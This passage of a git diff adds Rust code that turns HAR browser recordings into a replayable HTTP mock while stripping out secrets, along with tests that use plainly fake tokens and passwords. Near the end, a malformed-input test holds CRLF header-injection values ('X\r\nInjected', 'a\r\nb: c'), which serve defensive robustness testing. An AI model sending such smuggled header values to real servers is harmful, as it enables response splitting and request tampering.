KEY-----") { + scrub.dropped.body_values = scrub.dropped.body_values.saturating_add(1); + sample.body_left_out = Some(BodyLeftOut::HeldSecret); + return sample; + } + (None, Some(raw)) + } + } + } else { + (Some(raw.to_string()), None) + }; + let size = text.as_ref().map_or(0, String::len) + binary.map_or(0, str::len); + if text.as_ref().is_some_and(|t| t.len() > opts.max_body_bytes) { + sample.body_left_out = Some(BodyLeftOut::TooLarge); + return sample; + } + if body_bytes.saturating_add(size) > opts.max_total_body_bytes { + sample.body_left_out = Some(BodyLeftOut::FileLimit); + return sample; + } + if let Some(t) = text { + if t.contains("PRIVATE KEY-----") { + scrub.dropped.body_values = scrub.dropped.body_values.saturating_add(1); + sample.body_left_out = Some(BodyLeftOut::HeldSecret); + return sample; + } + sample.text = Some(clean_text(t, sample.content_type.as_deref(), scrub)); + *body_bytes = body_bytes.saturating_add(sample.text.as_ref().map_or(0, String::len)); + } else { + sample.base64 = binary.map(String::from); + *body_bytes = body_bytes.saturating_add(size); + } + // The answer a 304 stands for: the body the browser had cached. + if sample.status == 304 { + sample.status = 200; + sample.was_not_modified = true; + } + sample +} + +/// A response body with its secrets out. JSON is cleaned by key and value and only rewritten if +/// something changed, so an untouched body keeps its exact bytes. +fn clean_text(text: String, mime: Option<&str>, scrub: &mut Scrub) -> String { + let looks_json = mime.is_some_and(|m| m.to_ascii_lowercase().contains("json")) || text.trim_start().starts_with(['{', '[']); + if looks_json && let Ok(mut v) = serde_json::from_str::(&text) { + let before = v.clone(); + scrub.json(&mut v); + let out = if v == before { text } else { serde_json::to_string(&v).unwrap_or_default() }; + return scrub.hide(out); + } + let lower = mime.map(str::to_ascii_lowercase).unwrap_or_default(); + let is_code = ["javascript", "ecmascript", "text/css", "text/html", "xhtml"].iter().any(|m| lower.contains(m)); + let cleaned = if is_code { scrub.code(&text) } else { scrub.tokens(&text) }; + scrub.hide(cleaned) +} + +// --------------------------------------------------------------------------------------------- +// Answering + +/// How a request was matched, best first. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum MatchKind { + PathAndQuery, + Path, + Template, +} + +/// A recorded answer picked for a request. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Found { + pub route: String, + pub how: MatchKind, + pub status: u16, + pub content_type: Option, + pub headers: Vec<(String, String)>, + pub body: Vec, + pub body_left_out: Option, + /// Which of the answers that fit this was (1-based), and how many there are. + pub turn: usize, + pub of: usize, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum NoMatchReason { + /// Nothing with this path shape was recorded. + PathNotRecorded, + /// The path was recorded, but only with other methods. + MethodNotRecorded, + /// The URL was recorded, but not this GraphQL operation. + OperationNotRecorded, +} + +/// A route close to what was asked for. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct NearbyRoute { + pub method: String, + pub template: String, +} + +/// Nothing recorded answers this request, and what comes closest. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct NoMatch { + pub reason: NoMatchReason, + pub nearest: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Answer { + Found(Box), + NoMatch(NoMatch), +} + +/// How far each set of matching answers has got, so a repeated request goes through them in order. +/// Grows only with the samples in the stand-in, never with the requests made. +#[derive(Debug, Clone, Default)] +pub struct Turns(BTreeMap<(usize, usize, MatchKind), usize>); + +fn template_fits(template: &str, path: &str) -> bool { + let mut t = template.split('/'); + let mut p = path.split('/'); + loop { + match (t.next(), p.next()) { + (None, None) => return true, + (Some(a), Some(b)) => { + if a == ID { + if b.is_empty() { + return false; + } + } else if a != b { + return false; + } + } + _ => return false, + } + } +} + +/// More literal segments is more specific: `/users/search` before `/users/{id}`. +fn literal_segments(template: &str) -> usize { + template.split('/').filter(|s| *s != ID).count() +} + +/// Which samples fit this request's body. A named GraphQL operation must be one that was recorded if +/// the URL recorded any, since another operation's answer would be the wrong data. Otherwise the +/// same key is preferred, and any sample will do. +fn fitting(all: Vec, route: &StandInRoute, key: Option<&str>) -> Vec { + let key_of = |i: &usize| route.samples.get(*i).and_then(|s| s.request_key.as_deref()); + let same: Vec = all.iter().copied().filter(|i| key.is_some() && key_of(i) == key).collect(); + if !same.is_empty() { + return same; + } + if key.is_some_and(|k| k.starts_with("op:")) && all.iter().any(|i| key_of(i).is_some_and(|k| k.starts_with("op:"))) { + return Vec::new(); + } + all +} + +/// The recorded answer for a request, trying the exact path and query, then the exact path, then the +/// path template. A repeated request goes through the answers that fit in recording order, then starts +/// again. This never changes the stand-in: a recorded write answers as recorded and later reads +/// don't see it. `path` and `query` are as the client sent them. +pub fn answer(standin: &StandIn, turns: &mut Turns, method: &str, path: &str, query: &str, body: &[u8]) -> Answer { + let method = method.to_ascii_uppercase(); + // HEAD asks what GET would say; the server leaves out the body. + let look_for = if method == "HEAD" { "GET" } else { method.as_str() }; + // A request is brought to the same form as the recording, so a dropped value still compares equal. + let mut scrub = Scrub::new(&[]); + let clean_path = scrub.path(path.split(['?', '#']).next().unwrap_or_default(), false); + let pairs: Vec<(String, String)> = query + .split('&') + .take(200) + .filter(|p| !p.is_empty()) + .map(|p| p.split_once('=').map_or((p.to_string(), String::new()), |(k, v)| (k.to_string(), v.to_string()))) + .collect(); + let (_, clean_query) = scrub.query(&pairs, false); + let key = request_key(body); + let key = key.as_deref(); + + let mut operation_missing = false; + let mut consider = |route: &StandInRoute, candidates: Vec| -> Option> { + if candidates.is_empty() { + return None; + } + let fit = fitting(candidates, route, key); + if fit.is_empty() { + operation_missing = true; + return None; + } + Some(fit) + }; + + let same_method = || standin.routes.iter().enumerate().filter(|(_, r)| r.method == look_for); + let mut picked: Option<(usize, MatchKind, Vec)> = None; + for (ri, route) in same_method() { + let exact: Vec = route.samples.iter().enumerate().filter(|(_, s)| s.path == clean_path && s.query == clean_query).map(|(i, _)| i).collect(); + if let Some(fit) = consider(route, exact) { + picked = Some((ri, MatchKind::PathAndQuery, fit)); + break; + } + } + if picked.is_none() { + for (ri, route) in same_method() { + let on_path: Vec = route.samples.iter().enumerate().filter(|(_, s)| s.path == clean_path).map(|(i, _)| i).collect(); + if let Some(fit) = consider(route, on_path) { + picked = Some((ri, MatchKind::Path, fit)); + break; + } + } + } + if picked.is_none() { + let mut fits: Vec<(usize, &StandInRoute)> = same_method().filter(|(_, r)| template_fits(&r.template, &clean_path)).collect(); + fits.sort_by_key(|(_, r)| std::cmp::Reverse(literal_segments(&r.template))); + for (ri, route) in fits { + if let Some(fit) = consider(route, (0..route.samples.len()).collect()) { + picked = Some((ri, MatchKind::Template, fit)); + break; + } + } + } + + let Some((ri, how, fit)) = picked else { + let path_known = standin.routes.iter().any(|r| template_fits(&r.template, &clean_path) || r.samples.iter().any(|s| s.path == clean_path)); + let reason = if operation_missing { + NoMatchReason::OperationNotRecorded + } else if path_known { + NoMatchReason::MethodNotRecorded + } else { + NoMatchReason::PathNotRecorded + }; + return Answer::NoMatch(NoMatch { reason, nearest: nearest(standin, look_for, &clean_path) }); + }; + let Some(route) = standin.routes.get(ri) else { + return Answer::NoMatch(NoMatch { reason: NoMatchReason::PathNotRecorded, nearest: Vec::new() }); + }; + let first = fit.first().copied().unwrap_or(0); + let counter = turns.0.entry((ri, first, how)).or_insert(0); + let at = counter.checked_rem(fit.len()).unwrap_or(0); + *counter = counter.saturating_add(1); + let Some(sample) = fit.get(at).and_then(|i| route.samples.get(*i)) else { + return Answer::NoMatch(NoMatch { reason: NoMatchReason::PathNotRecorded, nearest: Vec::new() }); + }; + let body = match (&sample.text, &sample.base64) { + (Some(t), _) => t.clone().into_bytes(), + (None, Some(b)) => base64_decode(b).unwrap_or_default(), + (None, None) => Vec::new(), + }; + Answer::Found(Box::new(Found { + route: format!("{} {}", route.method, route.template), + how, + status: sample.status, + content_type: sample.content_type.clone(), + headers: sample.headers.clone(), + body, + body_left_out: sample.body_left_out, + turn: at + 1, + of: fit.len(), + })) +} + +/// The routes closest to a path: most segments the same in the same place, same method first. +pub fn nearest(standin: &StandIn, method: &str, path: &str) -> Vec { + let wanted: Vec<&str> = path.split('/').filter(|s| !s.is_empty()).collect(); + let mut scored: Vec<(i64, &StandInRoute)> = standin + .routes + .iter() + .map(|r| { + let segs: Vec<&str> = r.template.split('/').filter(|s| !s.is_empty()).collect(); + let same = segs.iter().zip(&wanted).filter(|(a, b)| a == b).count() as i64; + let id_fit = segs.iter().zip(&wanted).filter(|(a, _)| **a == ID).count() as i64; + let last_same = i64::from(segs.last().is_some_and(|l| Some(l) == wanted.last())); + let apart = (segs.len() as i64 - wanted.len() as i64).abs(); + (same * 4 + id_fit + last_same * 2 - apart + i64::from(r.method == method) * 3, r) + }) + .collect(); + scored.sort_by(|(a, x), (b, y)| b.cmp(a).then_with(|| x.template.cmp(&y.template)).then_with(|| x.method.cmp(&y.method))); + scored.into_iter().take(MAX_NEAREST).map(|(_, r)| NearbyRoute { method: r.method.clone(), template: r.template.clone() }).collect() +} + +#[cfg(test)] +mod tests; diff --git a/desktop/crates/analysis/src/standin/tests.rs b/desktop/crates/analysis/src/standin/tests.rs new file mode 100644 index 0000000..8fb4c1a --- /dev/null +++ b/desktop/crates/analysis/src/standin/tests.rs @@ -0,0 +1,709 @@ +use super::*; +use serde_json::json; + +/// One entry: method, URL, status, JSON or text body. +fn entry(method: &str, url: &str, status: i64, body: &str) -> Value { + json!({ + "request": {"method": method, "url": url, "headers": []}, + "response": {"status": status, "headers": [], "content": {"mimeType": "application/json", "text": body}} + }) +} + +fn har_of(entries: Vec) -> Vec { + serde_json::to_vec(&json!({"log": {"version": "1.2", "entries": entries}})).unwrap() +} + +fn built(entries: Vec) -> StandIn { + build_from_bytes(&har_of(entries), &BuildOptions::default()).unwrap() +} + +fn templates(s: &StandIn) -> Vec { + s.routes.iter().map(|r| format!("{} {}", r.method, r.template)).collect() +} + +fn found(a: Answer) -> Found { + match a { + Answer::Found(f) => *f, + Answer::NoMatch(n) => panic!("no match: {n:?}"), + } +} + +fn missing(a: Answer) -> NoMatch { + match a { + Answer::NoMatch(n) => n, + Answer::Found(f) => panic!("found: {f:?}"), + } +} + +fn get(s: &StandIn, t: &mut Turns, path: &str, query: &str) -> Answer { + answer(s, t, "GET", path, query, b"") +} + +fn body(f: &Found) -> String { + String::from_utf8_lossy(&f.body).into_owned() +} + +const A: &str = "https://api.example.test"; + +// ---- templates ---- + +#[test] +fn numeric_ids_uuids_and_long_hex_become_id() { + let s = built(vec![ + entry("GET", &format!("{A}/users/42"), 200, "{}"), + entry("GET", &format!("{A}/users/43"), 200, "{}"), + entry("GET", &format!("{A}/orders/550e8400-e29b-41d4-a716-446655440000/items"), 200, "{}"), + entry("GET", &format!("{A}/blobs/0123456789abcdef0123"), 200, "{}"), + entry("GET", &format!("{A}/files/a1b2c3d4e5f6g7h8i9j0k1"), 200, "{}"), + ]); + assert_eq!(templates(&s), ["GET /blobs/{id}", "GET /files/{id}", "GET /orders/{id}/items", "GET /users/{id}"]); + assert_eq!(s.routes[3].requests, 2); +} + +#[test] +fn id_shapes() { + for id in ["1", "0042", "550e8400-e29b-41d4-a716-446655440000", "0123456789abcdef", "a1b2c3d4e5f6g7h8i9j0"] { + assert!(is_id_segment(id), "{id}"); + } + for word in ["", "users", "v1", "facade", "decade", "deadbeef", "abcdefabcdefabcdefabcdef", "user-profile-settings-page", "item.json", "2fa", "oauth2"] { + assert!(!is_id_segment(word), "{word}"); + } +} + +#[test] +fn different_collections_are_not_merged() { + let shape = r#"[{"id":1}]"#; + let s = built(vec![ + entry("GET", &format!("{A}/users"), 200, shape), + entry("GET", &format!("{A}/posts"), 200, shape), + entry("GET", &format!("{A}/tags"), 200, shape), + entry("GET", &format!("{A}/api/users"), 200, shape), + entry("GET", &format!("{A}/api/posts"), 200, shape), + entry("GET", &format!("{A}/api/tags"), 200, shape), + entry("GET", &format!("{A}/v1/users"), 200, shape), + entry("GET", &format!("{A}/v1/posts"), 200, shape), + entry("GET", &format!("{A}/v1/tags"), 200, shape), + entry("GET", &format!("{A}/api/users/list"), 200, shape), + entry("GET", &format!("{A}/api/posts/list"), 200, shape), + ]); + assert_eq!(s.routes.len(), 11, "{:?}", templates(&s)); + assert!(s.routes.iter().all(|r| !r.template.contains(ID)), "{:?}", templates(&s)); +} + +#[test] +fn word_like_values_merge_when_the_recording_shows_they_vary() { + let user = |name: &str| entry("GET", &format!("{A}/users/{name}"), 200, r#"{"name":"x","bio":"y"}"#); + let s = built(vec![user("alice"), user("bob"), user("carol")]); + assert_eq!(templates(&s), ["GET /users/{id}"]); + // Text after them is stronger evidence: two are enough. + let s = built(vec![entry("GET", &format!("{A}/users/alice/posts"), 200, "[]"), entry("GET", &format!("{A}/users/bob/posts"), 200, "[]")]); + assert_eq!(templates(&s), ["GET /users/{id}/posts"]); +} + +#[test] +fn siblings_that_answer_differently_stay_apart() { + let s = built(vec![ + entry("GET", &format!("{A}/shop/cart"), 200, r#"{"items":[]}"#), + entry("GET", &format!("{A}/shop/orders"), 200, r#"{"orders":[]}"#), + entry("GET", &format!("{A}/shop/account"), 200, r#"{"email":"x"}"#), + ]); + assert_eq!(s.routes.len(), 3, "{:?}", templates(&s)); + // Two values aren't enough without text after them, and no JSON says nothing about shape. + let s = built(vec![entry("GET", &format!("{A}/shop/a"), 200, r#"{"x":1}"#), entry("GET", &format!("{A}/shop/b"), 200, r#"{"x":1}"#)]); + assert_eq!(s.routes.len(), 2); + let s = built(vec![entry("GET", &format!("{A}/p/a"), 200, "x"), entry("GET", &format!("{A}/p/b"), 200, "x"), entry("GET", &format!("{A}/p/c"), 200, "x")]); + assert_eq!(s.routes.len(), 3); +} + +#[test] +fn procedure_names_and_file_names_are_not_ids() { + let s = built(vec![ + entry("GET", &format!("{A}/trpc/post.list"), 200, r#"{"a":1}"#), + entry("GET", &format!("{A}/trpc/post.get"), 200, r#"{"a":1}"#), + entry("GET", &format!("{A}/trpc/user.get"), 200, r#"{"a":1}"#), + entry("GET", &format!("{A}/data/a.json"), 200, r#"{"a":1}"#), + entry("GET", &format!("{A}/data/b.json"), 200, r#"{"a":1}"#), + entry("GET", &format!("{A}/data/c.json"), 200, r#"{"a":1}"#), + ]); + assert_eq!(s.routes.len(), 6, "{:?}", templates(&s)); +} + +#[test] +fn a_literal_sibling_of_an_id_route_stays_literal() { + let s = built(vec![entry("GET", &format!("{A}/users/1"), 200, r#"{"id":1}"#), entry("GET", &format!("{A}/users/search"), 200, r#"{"results":[]}"#)]); + assert_eq!(templates(&s), ["GET /users/search", "GET /users/{id}"]); + let mut t = Turns::default(); + assert!(body(&found(get(&s, &mut t, "/users/search", ""))).contains("results")); + assert!(body(&found(get(&s, &mut t, "/users/9", ""))).contains("id")); +} + +#[test] +fn methods_are_separate_routes() { + let s = built(vec![entry("GET", &format!("{A}/items/1"), 200, r#"{"a":1}"#), entry("delete", &format!("{A}/items/1"), 204, "")]); + assert_eq!(templates(&s), ["DELETE /items/{id}", "GET /items/{id}"]); +} + +#[test] +fn routes_note_statuses_types_query_names_and_hosts() { + let mut other = entry("GET", "https://b.example.test/items/2?page=1&sort=asc", 404, "{}"); + other["response"]["content"]["mimeType"] = json!("application/problem+json"); + let s = built(vec![entry("GET", &format!("{A}/items/1?page=2"), 200, "{}"), other]); + assert_eq!(s.routes.len(), 1); + let r = &s.routes[0]; + assert_eq!(r.statuses, [200, 404]); + assert_eq!(r.content_types, ["application/json", "application/problem+json"]); + assert_eq!(r.query_names, ["page", "sort"]); + assert_eq!(r.hosts, ["api.example.test", "b.example.test"]); + assert_eq!(s.hosts, r.hosts); + assert_eq!(s.version, STANDIN_VERSION); +} + +// ---- secrets ---- + +/// A recording with secrets in every place one can be. Everything in it is an obvious fake. +fn secret_recording() -> Vec { + har_of(vec![json!({ + "request": { + "method": "POST", + "url": "https://user:hunter2-fake@api.example.test/session/eyJhbGciOiJub25lIn0.eyJzdWIiOiJ4In0.c2ln?token=query-token-fake&page=1&access_token=query-access-fake¬e=sk-test-in-query-1234", + "headers": [ + {"name": "Cookie", "value": "sid=request-cookie-fake"}, + {"name": "Authorization", "value": "Bearer request-bearer-fake"}, + {"name": "X-Api-Key", "value": "sk-test"}, + {"name": "Accept", "value": "application/json"} + ], + "cookies": [{"name": "sid", "value": "request-cookie-fake"}], + "postData": {"mimeType": "application/json", "text": "{\"password\":\"request-password-fake\",\"email\":\"person@example.test\"}"} + }, + "response": { + "status": 200, + "headers": [ + {"name": "Set-Cookie", "value": "sid=response-cookie-fake; HttpOnly"}, + {"name": "Authorization", "value": "Bearer response-bearer-fake"}, + {"name": "X-CSRF-Token", "value": "csrf-fake"}, + {"name": "X-Session-Thing", "value": "session-thing-fake"}, + {"name": "X-Custom", "value": "carries sk-test-header-value-1234"}, + {"name": "Location", "value": "/next?token=location-token-fake&ok=1"}, + {"name": "X-Total-Count", "value": "12"} + ], + "cookies": [{"name": "sid", "value": "response-cookie-fake"}], + "content": {"mimeType": "application/json", "text": "{\"access_token\":\"body-token-fake\",\"refreshToken\":\"body-refresh-fake\",\"profile\":{\"password\":\"body-password-fake\",\"name\":\"Pat\",\"note\":\"Bearer body-bearer-value-fake\",\"jwt\":\"eyJhbGciOiJub25lIn0.eyJzdWIiOiJ5In0.c2ln\",\"gh\":\"ghp_fakefakefakefake\"},\"sk-test-as-a-key-1234\":1,\"key\":\"react-key\",\"code\":\"GB\",\"max_tokens\":5}"} + } + })]) +} + +const FAKES: &[&str] = &[ + "hunter2-fake", + "eyJhbGciOiJub25lIn0", + "query-token-fake", + "query-access-fake", + "sk-test", + "request-cookie-fake", + "request-bearer-fake", + "request-password-fake", + "person@example.test", + "response-cookie-fake", + "response-bearer-fake", + "csrf-fake", + "session-thing-fake", + "location-token-fake", + "body-token-fake", + "body-refresh-fake", + "body-password-fake", + "body-bearer-value-fake", + "ghp_fakefakefakefake", +]; + +#[test] +fn no_secret_reaches_the_file() { + let s = build_from_bytes(&secret_recording(), &BuildOptions::default()).unwrap(); + let text = serde_json::to_string(&s).unwrap(); + for fake in FAKES { + assert!(!text.contains(fake), "{fake} is in the file: {text}"); + } + let kept: Vec = s.routes.iter().flat_map(|r| &r.samples).flat_map(|x| &x.headers).map(|(k, _)| k.to_ascii_lowercase()).collect(); + assert_eq!(kept, ["location", "x-total-count"], "{text}"); + let d = &s.dropped; + assert_eq!(d.headers, 8, "{d:?}"); + assert_eq!(d.cookies, 2); + assert_eq!(d.url_user_info, 1); + assert_eq!(d.path_segments, 1); + assert_eq!(d.query_values, 4, "three in the URL and one in the redirect: {d:?}"); + assert!(d.body_values >= 6, "{d:?}"); + assert!(d.total() > 15); + for name in ["cookie", "authorization", "x-api-key", "set-cookie", "x-csrf-token", "x-custom"] { + assert!(d.header_names.iter().any(|n| n == name), "{name}: {:?}", d.header_names); + } +} + +#[test] +fn everyday_values_survive_the_secret_checks() { + let s = build_from_bytes(&secret_recording(), &BuildOptions::default()).unwrap(); + let sample = &s.routes[0].samples[0]; + let v: Value = serde_json::from_str(sample.text.as_deref().unwrap()).unwrap(); + assert_eq!(v["profile"]["name"], "Pat"); + assert_eq!(v["key"], "react-key", "`key` and `code` are everyday names in a body"); + assert_eq!(v["code"], "GB"); + assert_eq!(v["max_tokens"], 5); + assert_eq!(v["access_token"], DROPPED); + assert!(sample.headers.iter().any(|(k, v)| k == "X-Total-Count" && v == "12")); + let location = sample.headers.iter().find(|(k, _)| k == "Location").unwrap(); + assert!(location.1.contains("ok=1") && location.1.contains(DROPPED), "{location:?}"); +} + +#[test] +fn a_recorded_secret_query_still_matches_a_request_with_any_value_there() { + let s = built(vec![entry("GET", &format!("{A}/feed?token=recorded-fake&page=1"), 200, r#"{"a":1}"#)]); + let mut t = Turns::default(); + let f = found(get(&s, &mut t, "/feed", "page=1&token=something-else")); + assert_eq!(f.how, MatchKind::PathAndQuery); +} + +#[test] +fn named_values_are_dropped_in_every_spelling() { + let secret = "my secret/value"; + let mut e = entry("GET", &format!("{A}/a/my%20secret%2Fvalue/b?x=my+secret/value"), 200, ""); + e["response"]["content"]["text"] = json!(format!("{{\"say\":\"{secret}\"}}")); + e["response"]["headers"] = json!([{"name": "X-Thing", "value": secret}]); + let opts = BuildOptions { hidden_values: vec![secret.into()], ..Default::default() }; + let s = build_from_bytes(&har_of(vec![e]), &opts).unwrap(); + let text = serde_json::to_string(&s).unwrap(); + for spelling in [secret, "my%20secret", "my+secret"] { + assert!(!text.contains(spelling), "{spelling}: {text}"); + } + assert!(s.dropped.hidden_values >= 3, "{:?}", s.dropped); +} + +#[test] +fn a_named_value_inside_a_binary_body_costs_the_body() { + // "\xff" keeps it from being text; the rest is the named value. + let encoded = "/3N0b3AtcGxlYXNl"; + assert_eq!(base64_decode(encoded).unwrap(), b"\xffstop-please"); + let mut e = entry("GET", &format!("{A}/bin"), 200, ""); + e["response"]["content"] = json!({"mimeType": "application/octet-stream", "encoding": "base64", "text": encoded}); + let har = har_of(vec![e]); + let opts = BuildOptions { hidden_values: vec!["stop-please".into()], ..Default::default() }; + let s = build_from_bytes(&har, &opts).unwrap(); + assert_eq!(s.routes[0].samples[0].body_left_out, Some(BodyLeftOut::HeldSecret)); + assert!(s.routes[0].samples[0].base64.is_none()); + let plain = build_from_bytes(&har, &BuildOptions::default()).unwrap(); + assert_eq!(plain.routes[0].samples[0].base64.as_deref(), Some(encoded)); + assert_eq!(found(get(&plain, &mut Turns::default(), "/bin", "")).body, b"\xffstop-please"); +} + +#[test] +fn private_keys_cost_the_whole_body() { + // Put together here so that no key-shaped text sits in the repository. + let (begin, finish) = (format!("-----BEGIN RSA {} KEY-----", "PRIVATE"), format!("-----END RSA {} KEY-----", "PRIVATE")); + let s = built(vec![entry("GET", &format!("{A}/k"), 200, &format!("{begin}\nfake\n{finish}"))]); + assert_eq!(s.routes[0].samples[0].body_left_out, Some(BodyLeftOut::HeldSecret)); + assert!(!serde_json::to_string(&s).unwrap().contains("KEY-----")); +} + +/// The first recorded answer's text for a body of this type. +fn cleaned(mime: &str, body: &str) -> (String, u64) { + let mut e = entry("GET", &format!("{A}/page"), 200, body); + e["response"]["content"]["mimeType"] = json!(mime); + let opts = BuildOptions { include_static: true, ..BuildOptions::default() }; + let s = build_from_bytes(&har_of(vec![e]), &opts).unwrap(); + (s.routes[0].samples[0].text.clone().unwrap(), s.dropped.body_values) +} + +#[test] +fn secrets_inside_urls_and_pairs_go_and_the_rest_stays() { + let (text, n) = + cleaned("application/json", r#"{"next":"https://x.example/cb?ref=ghp_fakefakefakefake","hook":"https://x.example/sk_live_fakefake1234/run"}"#); + assert!(!text.contains("ghp_") && !text.contains("sk_live_"), "{text}"); + assert!(text.contains("ref=[dropped]") && text.contains("//x.example/[dropped]/run"), "{text}"); + assert_eq!(n, 2); +} + +#[test] +fn a_url_keeps_its_host_and_loses_its_user_info() { + for (mime, body) in + [("text/plain", "see https://bob:hunter2@internal.example/app for it"), ("application/json", r#"{"u":"https://bob:hunter2@internal.example/app"}"#)] + { + let mut e = entry("GET", &format!("{A}/page"), 200, body); + e["response"]["content"]["mimeType"] = json!(mime); + let s = built(vec![e]); + let text = s.routes[0].samples[0].text.as_deref().unwrap(); + assert!(!text.contains("hunter2") && !text.contains("bob") && text.contains("https://internal.example/app"), "{text}"); + assert_eq!(s.dropped.url_user_info, 1); + } + let (kept, _) = cleaned("text/plain", "mail pat@example.test or see https://example.test/a@b ok"); + assert_eq!(kept, "mail pat@example.test or see https://example.test/a@b ok"); +} + +#[test] +fn a_redirect_keeps_going_there_without_user_info() { + for (location, want) in [ + ("https://bob:hunter2@internal.example/app?x=1", "https://internal.example/app?x=1"), + ("https://bob:hunter2@internal.example/app", "https://internal.example/app"), + ("//bob:hunter2@internal.example/app?x=1", "//internal.example/app?x=1"), + ] { + let mut e = entry("GET", &format!("{A}/old"), 302, ""); + e["response"]["headers"] = json!([{"name": "Location", "value": location}]); + let s = built(vec![e]); + let headers = &s.routes[0].samples[0].headers; + assert!(headers.iter().any(|(k, v)| k.eq_ignore_ascii_case("location") && v == want), "{location}: {headers:?}"); + assert_eq!(s.dropped.url_user_info, 1, "{location}"); + assert!(!serde_json::to_string(&s).unwrap().contains("hunter2")); + } +} + +#[test] +fn everyday_words_after_basic_or_bearer_stay() { + let body = r#"{"plan":"Basic Membership","title":"Basic settings","kind":"Basic self-service","note":"bearer authentication","loud":"BASIC MEMBERSHIP"}"#; + let (text, n) = cleaned("application/json", body); + assert_eq!((text.as_str(), n), (body, 0)); + for secret in ["Basic dXNlcjpwYXNz", "Basic Zm9vOmJhcg==", "Bearer body-bearer-value-fake", "bearer abcdefgh12345678"] { + let (text, n) = cleaned("text/plain", secret); + assert!(text.ends_with(" [dropped]") && n == 1, "{secret}: {text}"); + } +} + +#[test] +fn code_stays_code() { + for mime in ["application/javascript", "text/javascript; charset=utf-8", "text/css", "text/html"] { + let code = "this.token=t;e.password=n;a&&token=b;var p=\"Basic settings\";"; + let (text, n) = cleaned(mime, code); + assert_eq!((text.as_str(), n), (code, 0), "{mime}"); + } + let (text, n) = cleaned("text/html", r#"sk-test-free-text-1234"#); + assert_eq!(n, 3, "{text}"); + assert!(!text.contains("real-fake") && !text.contains("other-fake") && !text.contains("sk-test") && text.contains("ok=1"), "{text}"); + let (plain, _) = cleaned("text/plain", "this.token=t"); + assert_eq!(plain, "[dropped]", "free text is still read as text"); +} + +#[test] +fn free_text_bodies_are_scanned_too() { + let mut e = + entry("GET", &format!("{A}/page"), 200, "Your key is sk-test-free-text-1234 and access_token=plain-fake; Authorization: Bearer abcdefgh12345678 ok"); + e["response"]["content"]["mimeType"] = json!("text/plain"); + let s = built(vec![e]); + let text = s.routes[0].samples[0].text.as_deref().unwrap(); + assert!(!text.contains("sk-test") && !text.contains("plain-fake") && !text.contains("abcdefgh12345678"), "{text}"); + assert!(text.starts_with("Your key is") && text.ends_with("ok"), "{text}"); +} + +#[test] +fn untouched_json_keeps_its_exact_bytes() { + let original = "{ \"b\" : 1,\n \"a\": [1, 2] }"; + let s = built(vec![entry("GET", &format!("{A}/x"), 200, original)]); + assert_eq!(s.routes[0].samples[0].text.as_deref(), Some(original)); +} + +#[test] +fn request_bodies_are_never_kept_only_their_key() { + assert_eq!(request_key(br#"{"operationName":"GetUser","query":"query GetUser { a }"}"#).as_deref(), Some("op:GetUser")); + assert_eq!(request_key(br#"{"query":"query Named { a }"}"#).as_deref(), Some("op:Named")); + assert_eq!(request_key(br#"[{"operationName":"A"},{"operationName":"B"}]"#).as_deref(), Some("op:A,B")); + assert_eq!(request_key(br#"{"password":"nope-fake","email":"x"}"#).as_deref(), Some("keys:email,password")); + assert_eq!(request_key(br#"{"query":"{ a }"}"#).as_deref(), Some("keys:query"), "an anonymous document names nothing"); + for none in [&b""[..], b"not json", b"{}", b"[]", b"[1,2]", b"42", b"\xff\xfe"] { + assert_eq!(request_key(none), None, "{none:?}"); + } + assert_eq!(request_key(&vec![b' '; MAX_KEY_BODY + 1]), None, "too large to read"); +} + +// ---- what's skipped ---- + +#[test] +fn entries_that_cannot_be_answered_are_counted_not_kept() { + let mut page = entry("GET", &format!("{A}/index"), 200, ""); + page["_resourceType"] = json!("document"); + let mut pic = entry("GET", &format!("{A}/a.png"), 200, ""); + pic["response"]["content"]["mimeType"] = json!("image/png"); + let har = har_of(vec![ + entry("GET", "data:text/plain,hi", 200, ""), + entry("GET", "blob:https://x/1", 200, ""), + entry("GET", "wss://x.test/socket", 101, ""), + entry("GET", "chrome-extension://abc/x", 200, ""), + entry("GET", &format!("{A}/failed"), 0, ""), + entry("GET", &format!("{A}/switching"), 101, ""), + page, + pic, + entry("BAD METHOD", &format!("{A}/x"), 200, ""), + entry("GET", "https://other.example.test/x", 200, "{}"), + entry("GET", &format!("{A}/kept"), 200, "{}"), + ]); + let opts = BuildOptions { only_hosts: vec!["api.example.test".into()], ..Default::default() }; + let s = build_from_bytes(&har, &opts).unwrap(); + assert_eq!(templates(&s), ["GET /kept"]); + assert_eq!(s.skipped, Skipped { not_web: 4, no_response: 3, static_files: 2, other_hosts: 1, beyond_route_limit: 0 }); + let all = BuildOptions { include_static: true, ..Default::default() }; + let s = build_from_bytes(&har, &all).unwrap(); + assert!(templates(&s).contains(&"GET /index".to_string()) && templates(&s).contains(&"GET /a.png".to_string())); +} + +#[test] +fn a_port_in_the_recording_counts_as_the_same_host_when_asked_by_name() { + let har = har_of(vec![entry("GET", "http://localhost:3000/x", 200, "{}")]); + let by_name = BuildOptions { only_hosts: vec!["LOCALHOST".into()], ..Default::default() }; + assert_eq!(build_from_bytes(&har, &by_name).unwrap().routes.len(), 1); + let other = BuildOptions { only_hosts: vec!["localhost:4000".into()], ..Default::default() }; + assert_eq!(build_from_bytes(&har, &other).unwrap().routes.len(), 0); +} + +// ---- malformed and huge ---- + +#[test] +fn malformed_recordings_are_errors_or_skipped_never_a_crash() { + for bad in [&b""[..], b"nope", b"{}", b"[]", b"{\"log\":{}}", b"{\"log\":{\"entries\":3}}"] { + assert!(build_from_bytes(bad, &BuildOptions::default()).is_err(), "{bad:?}"); + } + let odd = br#"{"log":{"entries":[1,null,"x",{},{"request":3,"response":[]}, + {"request":{"method":"GET","url":"https://x.test/ok"},"response":{"status":99999999999,"content":{"text":3}}}, + {"request":{"method":"GET","url":"https://x.test/neg"},"response":{"status":-1}}, + {"request":{"method":"GET","url":""},"response":{"status":200}}, + {"request":{"method":"GET","url":"https://"},"response":{"status":200}}, + {"request":{"method":"GET","url":"https://x.test/n"},"response":{"status":200,"headers":[{"name":"X\r\nInjected","value":"a"},{"name":"X-Bad","value":"a\r\nb: c"},{"value":"no name"},7]}}, + 